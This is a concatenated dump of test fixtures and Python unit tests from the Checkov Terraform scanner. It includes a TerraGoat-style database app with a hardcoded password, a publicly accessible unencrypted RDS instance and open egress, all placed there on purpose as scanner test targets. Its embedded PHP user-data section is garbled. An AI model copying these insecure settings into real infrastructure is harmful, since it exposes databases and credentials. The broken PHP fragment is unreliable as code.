ingress_ipv6_cidr_blocks = var.ingress_ipv6_cidr_blocks # Default prefix list ids ingress_prefix_list_ids = var.ingress_prefix_list_ids ################### # Computed Ingress ################### # Rules by names - open for default CIDR computed_ingress_rules = sort(compact(distinct(concat(var.auto_computed_ingress_rules, var.computed_ingress_rules, [""])))) # Open for self computed_ingress_with_self = concat(var.auto_computed_ingress_with_self, var.computed_ingress_with_self) # Open to IPv4 cidr blocks computed_ingress_with_cidr_blocks = var.computed_ingress_with_cidr_blocks # Open to IPv6 cidr blocks computed_ingress_with_ipv6_cidr_blocks = var.computed_ingress_with_ipv6_cidr_blocks # Open for security group id computed_ingress_with_source_security_group_id = var.computed_ingress_with_source_security_group_id ############################# # Number of computed ingress ############################# number_of_computed_ingress_rules = var.auto_number_of_computed_ingress_rules + var.number_of_computed_ingress_rules number_of_computed_ingress_with_self = var.auto_number_of_computed_ingress_with_self + var.number_of_computed_ingress_with_self number_of_computed_ingress_with_cidr_blocks = var.number_of_computed_ingress_with_cidr_blocks number_of_computed_ingress_with_ipv6_cidr_blocks = var.number_of_computed_ingress_with_ipv6_cidr_blocks number_of_computed_ingress_with_source_security_group_id = var.number_of_computed_ingress_with_source_security_group_id ######### # Egress ######### # Rules by names - open for default CIDR egress_rules = sort(compact(distinct(concat(var.auto_egress_rules, var.egress_rules, [""])))) # Open for self egress_with_self = concat(var.auto_egress_with_self, var.egress_with_self) # Open to IPv4 cidr blocks egress_with_cidr_blocks = var.egress_with_cidr_blocks # Open to IPv6 cidr blocks egress_with_ipv6_cidr_blocks = var.egress_with_ipv6_cidr_blocks # Open for security group id egress_with_source_security_group_id = var.egress_with_source_security_group_id # Default egress CIDR blocks egress_cidr_blocks = var.egress_cidr_blocks egress_ipv6_cidr_blocks = var.egress_ipv6_cidr_blocks # Default prefix list ids egress_prefix_list_ids = var.egress_prefix_list_ids ################## # Computed Egress ################## # Rules by names - open for default CIDR computed_egress_rules = sort(compact(distinct(concat(var.auto_computed_egress_rules, var.computed_egress_rules, [""])))) # Open for self computed_egress_with_self = concat(var.auto_computed_egress_with_self, var.computed_egress_with_self) # Open to IPv4 cidr blocks computed_egress_with_cidr_blocks = var.computed_egress_with_cidr_blocks # Open to IPv6 cidr blocks computed_egress_with_ipv6_cidr_blocks = var.computed_egress_with_ipv6_cidr_blocks # Open for security group id computed_egress_with_source_security_group_id = var.computed_egress_with_source_security_group_id ############################# # Number of computed egress ############################# number_of_computed_egress_rules = var.auto_number_of_computed_egress_rules + var.number_of_computed_egress_rules number_of_computed_egress_with_self = var.auto_number_of_computed_egress_with_self + var.number_of_computed_egress_with_self number_of_computed_egress_with_cidr_blocks = var.number_of_computed_egress_with_cidr_blocks number_of_computed_egress_with_ipv6_cidr_blocks = var.number_of_computed_egress_with_ipv6_cidr_blocks number_of_computed_egress_with_source_security_group_id = var.number_of_computed_egress_with_source_security_group_id } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_module_postgresql/outputs.tf ================================================ output "this_security_group_id" { description = "The ID of the security group" value = module.sg.this_security_group_id } output "this_security_group_vpc_id" { description = "The VPC ID" value = module.sg.this_security_group_vpc_id } output "this_security_group_owner_id" { description = "The owner ID" value = module.sg.this_security_group_owner_id } output "this_security_group_name" { description = "The name of the security group" value = module.sg.this_security_group_name } output "this_security_group_description" { description = "The description of the security group" value = module.sg.this_security_group_description } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_module_postgresql/variables.tf ================================================ ################# # Security group ################# variable "create" { description = "Whether to create security group and all rules" type = bool default = true } variable "vpc_id" { description = "ID of the VPC where to create security group" type = string } variable "name" { description = "Name of security group" type = string } variable "use_name_prefix" { description = "Whether to use name_prefix or fixed name. Should be true to able to update security group name after initial creation" type = bool default = true } variable "description" { description = "Description of security group" type = string default = "Security Group managed by Terraform" } variable "revoke_rules_on_delete" { description = "Instruct Terraform to revoke all of the Security Groups attached ingress and egress rules before deleting the rule itself. Enable for EMR." type = bool default = false } variable "tags" { description = "A mapping of tags to assign to security group" type = map(string) default = {} } ########## # Ingress ########## variable "ingress_rules" { description = "List of ingress rules to create by name" type = list(string) default = [] } variable "ingress_with_self" { description = "List of ingress rules to create where 'self' is defined" type = list(map(string)) default = [] } variable "ingress_with_cidr_blocks" { description = "List of ingress rules to create where 'cidr_blocks' is used" type = list(map(string)) default = [] } variable "ingress_with_ipv6_cidr_blocks" { description = "List of ingress rules to create where 'ipv6_cidr_blocks' is used" type = list(map(string)) default = [] } variable "ingress_with_source_security_group_id" { description = "List of ingress rules to create where 'source_security_group_id' is used" type = list(map(string)) default = [] } variable "ingress_cidr_blocks" { description = "List of IPv4 CIDR ranges to use on all ingress rules" type = list(string) default = [] } variable "ingress_ipv6_cidr_blocks" { description = "List of IPv6 CIDR ranges to use on all ingress rules" type = list(string) default = [] } variable "ingress_prefix_list_ids" { description = "List of prefix list IDs (for allowing access to VPC endpoints) to use on all ingress rules" type = list(string) default = [] } ################### # Computed Ingress ################### variable "computed_ingress_rules" { description = "List of computed ingress rules to create by name" type = list(string) default = [] } variable "computed_ingress_with_self" { description = "List of computed ingress rules to create where 'self' is defined" type = list(map(string)) default = [] } variable "computed_ingress_with_cidr_blocks" { description = "List of computed ingress rules to create where 'cidr_blocks' is used" type = list(map(string)) default = [] } variable "computed_ingress_with_ipv6_cidr_blocks" { description = "List of computed ingress rules to create where 'ipv6_cidr_blocks' is used" type = list(map(string)) default = [] } variable "computed_ingress_with_source_security_group_id" { description = "List of computed ingress rules to create where 'source_security_group_id' is used" type = list(map(string)) default = [] } variable "computed_ingress_cidr_blocks" { description = "List of IPv4 CIDR ranges to use on all computed ingress rules" type = list(string) default = [] } variable "computed_ingress_ipv6_cidr_blocks" { description = "List of IPv6 CIDR ranges to use on all computed ingress rules" type = list(string) default = [] } variable "computed_ingress_prefix_list_ids" { description = "List of prefix list IDs (for allowing access to VPC endpoints) to use on all computed ingress rules" type = list(string) default = [] } ################################### # Number of computed ingress rules ################################### variable "number_of_computed_ingress_rules" { description = "Number of computed ingress rules to create by name" type = number default = 0 } variable "number_of_computed_ingress_with_self" { description = "Number of computed ingress rules to create where 'self' is defined" type = number default = 0 } variable "number_of_computed_ingress_with_cidr_blocks" { description = "Number of computed ingress rules to create where 'cidr_blocks' is used" type = number default = 0 } variable "number_of_computed_ingress_with_ipv6_cidr_blocks" { description = "Number of computed ingress rules to create where 'ipv6_cidr_blocks' is used" type = number default = 0 } variable "number_of_computed_ingress_with_source_security_group_id" { description = "Number of computed ingress rules to create where 'source_security_group_id' is used" type = number default = 0 } variable "number_of_computed_ingress_cidr_blocks" { description = "Number of IPv4 CIDR ranges to use on all computed ingress rules" type = number default = 0 } variable "number_of_computed_ingress_ipv6_cidr_blocks" { description = "Number of IPv6 CIDR ranges to use on all computed ingress rules" type = number default = 0 } variable "number_of_computed_ingress_prefix_list_ids" { description = "Number of prefix list IDs (for allowing access to VPC endpoints) to use on all computed ingress rules" type = number default = 0 } ######### # Egress ######### variable "egress_rules" { description = "List of egress rules to create by name" type = list(string) default = [] } variable "egress_with_self" { description = "List of egress rules to create where 'self' is defined" type = list(map(string)) default = [] } variable "egress_with_cidr_blocks" { description = "List of egress rules to create where 'cidr_blocks' is used" type = list(map(string)) default = [] } variable "egress_with_ipv6_cidr_blocks" { description = "List of egress rules to create where 'ipv6_cidr_blocks' is used" type = list(map(string)) default = [] } variable "egress_with_source_security_group_id" { description = "List of egress rules to create where 'source_security_group_id' is used" type = list(map(string)) default = [] } variable "egress_cidr_blocks" { description = "List of IPv4 CIDR ranges to use on all egress rules" type = list(string) default = ["0.0.0.0/0"] } variable "egress_ipv6_cidr_blocks" { description = "List of IPv6 CIDR ranges to use on all egress rules" type = list(string) default = ["::/0"] } variable "egress_prefix_list_ids" { description = "List of prefix list IDs (for allowing access to VPC endpoints) to use on all egress rules" type = list(string) default = [] } ################## # Computed Egress ################## variable "computed_egress_rules" { description = "List of computed egress rules to create by name" type = list(string) default = [] } variable "computed_egress_with_self" { description = "List of computed egress rules to create where 'self' is defined" type = list(map(string)) default = [] } variable "computed_egress_with_cidr_blocks" { description = "List of computed egress rules to create where 'cidr_blocks' is used" type = list(map(string)) default = [] } variable "computed_egress_with_ipv6_cidr_blocks" { description = "List of computed egress rules to create where 'ipv6_cidr_blocks' is used" type = list(map(string)) default = [] } variable "computed_egress_with_source_security_group_id" { description = "List of computed egress rules to create where 'source_security_group_id' is used" type = list(map(string)) default = [] } variable "computed_egress_cidr_blocks" { description = "List of IPv4 CIDR ranges to use on all computed egress rules" type = list(string) default = ["0.0.0.0/0"] } variable "computed_egress_ipv6_cidr_blocks" { description = "List of IPv6 CIDR ranges to use on all computed egress rules" type = list(string) default = ["::/0"] } variable "computed_egress_prefix_list_ids" { description = "List of prefix list IDs (for allowing access to VPC endpoints) to use on all computed egress rules" type = list(string) default = [] } ################################## # Number of computed egress rules ################################## variable "number_of_computed_egress_rules" { description = "Number of computed egress rules to create by name" type = number default = 0 } variable "number_of_computed_egress_with_self" { description = "Number of computed egress rules to create where 'self' is defined" type = number default = 0 } variable "number_of_computed_egress_with_cidr_blocks" { description = "Number of computed egress rules to create where 'cidr_blocks' is used" type = number default = 0 } variable "number_of_computed_egress_with_ipv6_cidr_blocks" { description = "Number of computed egress rules to create where 'ipv6_cidr_blocks' is used" type = number default = 0 } variable "number_of_computed_egress_with_source_security_group_id" { description = "Number of computed egress rules to create where 'source_security_group_id' is used" type = number default = 0 } variable "number_of_computed_egress_cidr_blocks" { description = "Number of IPv4 CIDR ranges to use on all computed egress rules" type = number default = 0 } variable "number_of_computed_egress_ipv6_cidr_blocks" { description = "Number of IPv6 CIDR ranges to use on all computed egress rules" type = number default = 0 } variable "number_of_computed_egress_prefix_list_ids" { description = "Number of prefix list IDs (for allowing access to VPC endpoints) to use on all computed egress rules" type = number default = 0 } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_module_postgresql/versions.tf ================================================ terraform { required_version = ">= 0.12.6, < 0.14" required_providers { aws = ">= 2.42, < 4.0" } } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_nested_modules/child/main.tf ================================================ output "myoutput" { value = "bar" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_nested_modules/main.tf ================================================ provider "aws" { profile = var.aws_profile region = "us-east-1" alias = "east1" } locals { dummy_with_dash = format("-%s", var.dummy_1) bucket_name = var.bucket_name x = { y = "z" } } resource "aws_instance" "example" { ami = local.ami_name instance_type = module.child.myoutput } resource "aws_s3_bucket" "template_bucket" { provider = aws.east1 region = var.region bucket = local.bucket_name acl = var.acl force_destroy = true } resource "aws_eip" "ip" { vpc = local.is_vpc instance = aws_instance.example.id } locals { is_vpc = true ami_name = local.dummy_with_dash } module "child" { source = "./child" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_nested_modules/outputs.tf ================================================ output "bucket_acl" { value = aws_s3_bucket.template_bucket.acl depends_on = [ aws_eip.ip ] } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_nested_modules/variables.tf ================================================ variable "bucket_name" { default = { val = "MyBucket" } } variable "acl" { default = var.acl_default_value } variable "acl_default_value" { default = local.x.y } variable "region" { default = "us-west-2" } variable "aws_profile" { default = "default" } variable "dummy_1" { default = "dummy_1" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_terragoat_db_app/consts.tf ================================================ data "aws_caller_identity" "current" { account_id = "test_id" } variable "company_name" { default = "acme" } variable "environment" { default = "dev" } locals { resource_prefix = { value = "${data.aws_caller_identity.current.account_id}-${var.company_name}-${var.environment}" } } variable "profile" { default = "default" } variable "region" { default = "us-west-2" } variable "availability_zone" { type = "string" default = "us-west-2a" } variable "availability_zone2" { type = "string" default = "us-west-2b" } variable ami { type = "string" default = "ami-09a5b0b7edf08843d" } variable "dbname" { type = "string" description = "Name of the Database" default = "db1" } variable "password" { type = "string" description = "Database password" default = "Aa1234321Bb" } variable "neptune-dbname" { type = "string" description = "Name of the Neptune graph database" default = "neptunedb1" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_terragoat_db_app/main.tf ================================================ resource "aws_db_instance" "default" { name = var.dbname engine = "mysql" option_group_name = aws_db_option_group.default.name parameter_group_name = aws_db_parameter_group.default.name db_subnet_group_name = aws_db_subnet_group.default.name vpc_security_group_ids = ["${aws_security_group.default.id}"] identifier = "rds-${local.resource_prefix.value}" engine_version = "8.0" # Latest major version instance_class = "db.t3.micro" allocated_storage = "20" username = "admin" password = var.password apply_immediately = true multi_az = false backup_retention_period = 0 storage_encrypted = false skip_final_snapshot = true monitoring_interval = 0 publicly_accessible = true tags = { Name = "${local.resource_prefix.value}-rds" Environment = local.resource_prefix.value } # Ignore password changes from tf plan diff lifecycle { ignore_changes = ["password"] } } resource "aws_db_option_group" "default" { engine_name = "mysql" name = "og-${local.resource_prefix.value}" major_engine_version = "8.0" option_group_description = "Terraform OG" tags = { Name = "${local.resource_prefix.value}-og" Environment = local.resource_prefix.value } } resource "aws_db_parameter_group" "default" { name = "pg-${local.resource_prefix.value}" family = "mysql8.0" description = "Terraform PG" parameter { name = "character_set_client" value = "utf8" apply_method = "immediate" } parameter { name = "character_set_server" value = "utf8" apply_method = "immediate" } tags = { Name = "${local.resource_prefix.value}-pg" Environment = local.resource_prefix.value } } resource "aws_db_subnet_group" "default" { name = "sg-${local.resource_prefix.value}" subnet_ids = ["${aws_subnet.web_subnet.id}", "${aws_subnet.web_subnet2.id}"] description = "Terraform DB Subnet Group" tags = { Name = "sg-${local.resource_prefix.value}" Environment = local.resource_prefix.value } } resource "aws_security_group" "default" { name = "${local.resource_prefix.value}-rds-sg" vpc_id = aws_vpc.web_vpc.id tags = { Name = "${local.resource_prefix.value}-rds-sg" Environment = local.resource_prefix.value } } resource "aws_security_group_rule" "ingress" { type = "ingress" from_port = "3306" to_port = "3306" protocol = "tcp" cidr_blocks = ["${aws_vpc.web_vpc.cidr_block}"] security_group_id = aws_security_group.default.id } resource "aws_security_group_rule" "egress" { type = "egress" from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] security_group_id = "${aws_security_group.default.id}" } ### EC2 instance resource "aws_iam_instance_profile" "ec2profile" { name = "${local.resource_prefix.value}-profile" role = "${aws_iam_role.ec2role.name}" } resource "aws_iam_role" "ec2role" { name = "${local.resource_prefix.value}-role" path = "/" assume_role_policy = < /tmp/dbinfo.inc EnD sudo mv /tmp/dbinfo.inc /var/www/inc sudo chown root:root /var/www/inc/dbinfo.inc cat << EnD > /tmp/index.php

Sample page

NAME ADDRESS
"; echo "", "", ""; echo ""; } ?>
ID NAME ADDRESS
",\$query_data[0], "",\$query_data[1], "",\$query_data[2], "
Error adding employee data.

"); } /* Check whether the table exists and, if not, create it. */ function VerifyEmployeesTable(\$connection, \$dbName) { if(!TableExists("EMPLOYEES", \$connection, \$dbName)) { \$query = "CREATE TABLE EMPLOYEES ( ID int(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, NAME VARCHAR(45), ADDRESS VARCHAR(90) )"; if(!mysqli_query(\$connection, \$query)) echo("

Error creating table.

"); } } /* Check for the existence of a table. */ function TableExists(\$tableName, \$connection, \$dbName) { \$t = mysqli_real_escape_string(\$connection, \$tableName); \$d = mysqli_real_escape_string(\$connection, \$dbName); \$checktable = mysqli_query(\$connection, "SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME = '\$t' AND TABLE_SCHEMA = '\$d'"); if(mysqli_num_rows(\$checktable) > 0) return true; return false; } ?> EnD sudo mv /tmp/index.php /var/www/html sudo chown root:root /var/www/html/index.php EOF tags = { Name = "${local.resource_prefix.value}-dbapp" } } output "db_app_public_dns" { description = "DB Public DNS name" value = aws_instance.db_app.public_dns } output "db_endpoint" { description = "DB Endpoint" value = aws_db_instance.default.endpoint } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_variable/main.tf ================================================ resource "aws_s3_bucket" "template_bucket" { region = var.region bucket = "test_bucket_name" acl = "acl" force_destroy = true } resource "aws_s3_bucket" "storage_bucket" { region = "us-west-2" bucket = var.bucket_name acl = "acl" force_destroy = true } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/render_variable/variables.tf ================================================ variable "region" { default = "us-west-2" } variable "bucket_name" { default = "Storage bucket" } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/terraform-aws-eks-master/eks.tf ================================================ resource "aws_eks_cluster" "tf_eks" { name = local.cluster_name role_arn = aws_iam_role.master.arn version = var.kubernetes_version vpc_config { security_group_ids = [aws_security_group.master.id] subnet_ids = aws_subnet.eks[*].id } tags = { project = var.project } depends_on = [ aws_iam_role_policy_attachment.AmazonEKSClusterPolicy, aws_iam_role_policy_attachment.AmazonEKSServicePolicy ] } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/terraform-aws-eks-master/variables.tf ================================================ variable "region" { type = string description = "AWS Region" } variable "access_key" { type = string description = "AWS Access Key" } variable "secret_key" { type = string description = "AWS Secret Key" } variable "project" { type = string } variable "cluster_name" { type = string description = "EKS name" } variable "accessing_computer_ips" { type = list(string) description = "cidr blocks" } variable "number_of_subnets" { type = number default = 2 description = "Number of subnets" } variable "iam_worker_instance_profile_name" { type = string default = "ipaas-eks-workers" description = "IAM worker instance profile name" } variable "kubeconfig_path" { type = string default = "./kubeconfig" description = "Kubeconfig path" } variable "create_kubeconfig" { type = bool default = true } variable "kubernetes_version" { type = string default = "1.19" description = "EKS kubernetes version." } variable "node_groups" { type = list(object({ name = string desired_size = number max_size = number min_size = number instance_type = string # Opcionais # ami_type = string (Default: AL2_x86_64) # disk_size = number (Default: 20) })) default = [ { name = "example" desired_size = 2 max_size = 3 min_size = 1 instance_type = "t3.medium" } ] } ================================================ FILE: tests/terraform/graph/resources/variable_rendering/unrendered/main.tf ================================================ variable "bucket_name" { } variable "ebs_size" { } resource "aws_s3_bucket" "pass1" { bucket = var.bucket_name } resource "aws_s3_bucket" "pass2" { bucket = "${var.bucket_name}-abc" } resource "aws_s3_bucket" "pass3" { bucket = "abc-${var.bucket_name}" } ================================================ FILE: tests/terraform/graph/runner/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/runner/test_graph_builder.py ================================================ import json import os from unittest import TestCase, mock from parameterized import parameterized_class from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.terraform.runner import Runner TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class([ {"db_connector": NetworkxConnector}, {"db_connector": RustworkxConnector} ]) class TestGraphBuilder(TestCase): @mock.patch.dict(os.environ, {"CHECKOV_NEW_TF_PARSER": "False"}) def test_build_graph(self): resources_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), "resources", "graph_files_test") source_files = ["pass_s3.tf", "variables.tf"] runner = Runner(db_connector=self.db_connector()) report = runner.run(None, None, files=list(map(lambda f: f'{resources_path}/{f}', source_files))) tf_definitions = runner.definitions self.assertEqual(5, len(report.failed_checks)) for file, definitions in tf_definitions.items(): if file.file_path.endswith('pass_s3.tf'): s3_bucket_config = definitions['resource'][0]['aws_s3_bucket']['bucket_with_versioning'] # Evaluation succeeded for included vars self.assertTrue(s3_bucket_config['versioning'][0]['enabled'][0]) # Evaluation does not run for un-included vars self.assertEqual(s3_bucket_config['server_side_encryption_configuration'][0]['rule'][0]['apply_server_side_encryption_by_default'][0]['sse_algorithm'][0], 'var.encryption') def test_build_graph_new_tf_module(self): resources_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), "resources", "graph_files_test") source_files = ["pass_s3.tf", "variables.tf"] runner = Runner(db_connector=self.db_connector()) report = runner.run(None, None, files=list(map(lambda f: f'{resources_path}/{f}', source_files))) tf_definitions = runner.definitions self.assertEqual(5, len(report.failed_checks)) for file, definitions in tf_definitions.items(): if file.file_path.endswith('pass_s3.tf'): s3_bucket_config = definitions['resource'][0]['aws_s3_bucket']['bucket_with_versioning'] # Evaluation succeeded for included vars self.assertTrue(s3_bucket_config['versioning'][0]['enabled'][0]) # Evaluation does not run for un-included vars self.assertEqual(s3_bucket_config['server_side_encryption_configuration'][0]['rule'][0]['apply_server_side_encryption_by_default'][0]['sse_algorithm'][0], 'var.encryption') def test_run_clean(self): resources_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), "resources", "graph_files_test") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=resources_path) self.assertEqual(6, len(report.failed_checks)) self.assertEqual(5, len(report.passed_checks)) self.assertEqual(0, len(report.skipped_checks)) def test_module_and_variables(self): resources_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), "resources", "modules-and-vars") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=resources_path) self.assertLessEqual(2, len(report.failed_checks)) self.assertLessEqual(12, len(report.passed_checks)) self.assertEqual(0, len(report.skipped_checks)) found_versioning_failure = False for record in report.failed_checks: if record.check_id != 'CKV_AWS_40': self.assertIsNotNone(record.breadcrumbs) if record.check_id == 'CKV_AWS_21': found_versioning_failure = True bc = record.breadcrumbs.get('versioning.enabled') self.assertEqual(len(bc), 2) bc = bc[0] self.assertEqual(bc.get('type'), 'module') self.assertEqual(os.path.relpath(bc.get('path'), resources_path), 'examples/complete/main.tf') self.assertEqual(record.resource, 'module.s3_bucket.aws_s3_bucket.default') self.assertTrue(found_versioning_failure) ================================================ FILE: tests/terraform/graph/runner/test_runner.py ================================================ from pathlib import Path import pytest from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_dynamics(graph_connector): # given test_files_dir = Path(__file__).parent.parent / "resources/dynamic_lambda_function" # when report = Runner(db_connector=graph_connector()).run( root_folder=str(test_files_dir), runner_filter=RunnerFilter( checks=[ "CKV_AWS_45", "CKV_AWS_116", "CKV_AWS_173", "CKV_AWS_272", ] ), ) # then summary = report.get_summary() assert summary["passed"] == 2 assert summary["failed"] == 2 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 ================================================ FILE: tests/terraform/graph/utils/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/utils/test_utils.py ================================================ import pprint from typing import List, Tuple from unittest import TestCase from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.utils import get_referenced_vertices_in_value, \ replace_map_attribute_access_with_dot, generate_possible_strings_from_wildcards, \ attribute_has_nested_attributes from checkov.terraform.graph_builder.variable_rendering.vertex_reference import TerraformVertexReference class TestUtils(TestCase): def test_find_non_literal_values(self): aliases = {'aws': {CustomAttributes.BLOCK_TYPE: BlockType.PROVIDER}} str_value = 'aws.east1' expected = [TerraformVertexReference(BlockType.PROVIDER, ['aws', 'east1'], 'aws.east1')] self.assertEqual(expected, get_referenced_vertices_in_value(str_value, aliases, [])) str_values = [ 'var.x', 'format("-%s", var.x)', '../child', 'aws_instance.example.id', 'bc_c_${var.customer_name}', 'aws iam delete-role --role-name ${local.role_name} --profile ${var.profile} --region ${var.region}', 'length(aws_vpc.main) > 0 ? aws_vpc.main[0].cidr_block : ${var.x}', ] expected = [ [TerraformVertexReference(BlockType.VARIABLE, ['x'], 'var.x')], [TerraformVertexReference(BlockType.VARIABLE, ['x'], 'var.x')], [], [TerraformVertexReference(BlockType.RESOURCE, ['aws_instance.example', 'id'], 'aws_instance.example.id')], [TerraformVertexReference(BlockType.VARIABLE, ['customer_name'], 'var.customer_name')], [TerraformVertexReference(BlockType.LOCALS, ['role_name'], 'local.role_name'), TerraformVertexReference(BlockType.VARIABLE, ['profile'], 'var.profile'), TerraformVertexReference(BlockType.VARIABLE, ['region'], 'var.region')], [TerraformVertexReference(BlockType.RESOURCE, ['aws_vpc.main'], 'aws_vpc.main'), TerraformVertexReference(BlockType.RESOURCE, ['aws_vpc.main', 'cidr_block'], 'aws_vpc.main.cidr_block'), TerraformVertexReference(BlockType.VARIABLE, ['x'], 'var.x')], ] for i in range(0, len(str_values)): self.assertEqual(expected[i], get_referenced_vertices_in_value(str_values[i], aliases, ['aws_vpc', 'aws_instance'])) def test_replace_map_attribute_access_with_dot(self): str_value = 'data.aws_availability_zones["available"].names[1]' replace_map_attribute_access_with_dot(str_value) self.assertEqual('data.aws_availability_zones.available.names[1]', replace_map_attribute_access_with_dot(str_value)) str_value = 'data.aws_availability_zones[0].names[1]' replace_map_attribute_access_with_dot(str_value) self.assertEqual('data.aws_availability_zones[0].names[1]', replace_map_attribute_access_with_dot(str_value)) def test_generate_possible_strings_from_wildcards(self): origin_string = "a.*.b.*.c.*" expected_results = [ "a.0.b.0.c.0", "a.0.b.1.c.0", "a.1.b.0.c.0", "a.0.b.0.c.1", "a.1.b.1.c.0", "a.1.b.0.c.1", "a.0.b.1.c.1", "a.1.b.1.c.1", "a.b.c", ] expected_results.sort() results = generate_possible_strings_from_wildcards(origin_string=origin_string, max_entries=2) results.sort() self.assertEqual(expected_results, results) def test_find_var_blocks(self): cases: List[Tuple[str, List[TerraformVertexReference]]] = [ ( "${local.one}", [ TerraformVertexReference(BlockType.LOCALS, sub_parts=["one"], origin_value="local.one") ] ), ( "${local.NAME[foo]}-${local.TAIL}${var.gratuitous_var_default}", [ TerraformVertexReference(BlockType.LOCALS, sub_parts=["NAME"], origin_value="local.NAME"), TerraformVertexReference(BlockType.LOCALS, sub_parts=["TAIL"], origin_value="local.TAIL"), TerraformVertexReference(BlockType.VARIABLE, sub_parts=["gratuitous_var_default"], origin_value="var.gratuitous_var_default"), ] ), # Ordered returning of sub-vars and then outer var. ( "${merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}", [ TerraformVertexReference(BlockType.LOCALS, sub_parts=["common_tags"], origin_value="local.common_tags"), TerraformVertexReference(BlockType.LOCALS, sub_parts=["common_data_tags"], origin_value="local.common_data_tags"), TerraformVertexReference(BlockType.VARIABLE, sub_parts=["ENVIRONMENT"], origin_value="var.ENVIRONMENT"), TerraformVertexReference(BlockType.VARIABLE, sub_parts=["REGION"], origin_value="var.REGION"), ], ), ( "${merge(${local.common_tags},${local.common_data_tags},{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}", [ TerraformVertexReference(BlockType.LOCALS, sub_parts=["common_tags"], origin_value="local.common_tags"), TerraformVertexReference(BlockType.LOCALS, sub_parts=["common_data_tags"], origin_value="local.common_data_tags"), TerraformVertexReference(BlockType.VARIABLE, sub_parts=["ENVIRONMENT"], origin_value="var.ENVIRONMENT"), TerraformVertexReference(BlockType.VARIABLE, sub_parts=["REGION"], origin_value="var.REGION"), ], ), ( '${merge(var.tags, map("Name", "${var.name}", "data_classification", "none"))}', [ TerraformVertexReference(BlockType.VARIABLE, sub_parts=["tags"], origin_value="var.tags"), TerraformVertexReference(BlockType.VARIABLE, sub_parts=["name"], origin_value="var.name"), ] ), ( '${var.metadata_http_tokens_required ? "required" : "optional"}', [ TerraformVertexReference(BlockType.VARIABLE, sub_parts=["metadata_http_tokens_required"], origin_value="var.metadata_http_tokens_required"), ] ), ( '${local.NAME[${module.bucket.bucket_name}]}-${local.TAIL}${var.gratuitous_var_default}', [ TerraformVertexReference(BlockType.LOCALS, sub_parts=["NAME"], origin_value="local.NAME"), TerraformVertexReference(BlockType.MODULE, sub_parts=["bucket", "bucket_name"], origin_value="module.bucket.bucket_name"), TerraformVertexReference(BlockType.LOCALS, sub_parts=["TAIL"], origin_value="local.TAIL"), TerraformVertexReference(BlockType.VARIABLE, sub_parts=["gratuitous_var_default"], origin_value="var.gratuitous_var_default"), ] ), ] for case in cases: actual = get_referenced_vertices_in_value(value=case[0], aliases={}, resources_types=[]) assert actual == case[1], \ f"Case \"{case[0]}\" failed ❌:\n" \ f" Expected: \n{pprint.pformat([str(c) for c in case[1]], indent=2)}\n\n" \ f" Actual: \n{pprint.pformat([str(c) for c in actual], indent=2)}" print(f"Case \"{case[0]}: ✅") def test__attribute_has_nested_attributes_dictionary(self): attributes = {'name': ['${var.lb_name}'], 'internal': [True], 'security_groups': ['${var.lb_security_group_ids}'], 'subnets': ['${var.subnet_id}'], 'enable_deletion_protection': [True], 'tags': {'Terraform': True, 'Environment': 'sophi-staging'}, 'resource_type': ['aws_alb'], 'tags.Terraform': True, 'tags.Environment': 'sophi-staging'} self.assertTrue(attribute_has_nested_attributes(attribute_key='tags', attributes=attributes)) self.assertFalse(attribute_has_nested_attributes(attribute_key='name', attributes=attributes)) self.assertFalse(attribute_has_nested_attributes(attribute_key='tags.Environment', attributes=attributes)) def test__attribute_has_nested_attributes_list(self): attributes = {'most_recent': [True], 'filter': [{'name': 'name', 'values': ['amzn-ami-hvm-*-x86_64-gp2']}, {'name': 'owner-alias', 'values': ['amazon']}], 'filter.0': {'name': 'name', 'values': ['amzn-ami-hvm-*-x86_64-gp2']}, 'filter.0.name': 'name', 'filter.0.values': ['amzn-ami-hvm-*-x86_64-gp2'], 'filter.0.values.0': 'amzn-ami-hvm-*-x86_64-gp2', 'filter.1': {'name': 'owner-alias', 'values': ['amazon']}, 'filter.1.name': 'owner-alias', 'filter.1.values': ['amazon'], 'filter.1.values.0': 'amazon'} self.assertTrue(attribute_has_nested_attributes(attribute_key='filter', attributes=attributes)) self.assertTrue(attribute_has_nested_attributes(attribute_key='filter.1.values', attributes=attributes)) self.assertFalse(attribute_has_nested_attributes(attribute_key='filter.1.values.0', attributes=attributes)) ================================================ FILE: tests/terraform/graph/variable_rendering/__init__.py ================================================ ================================================ FILE: 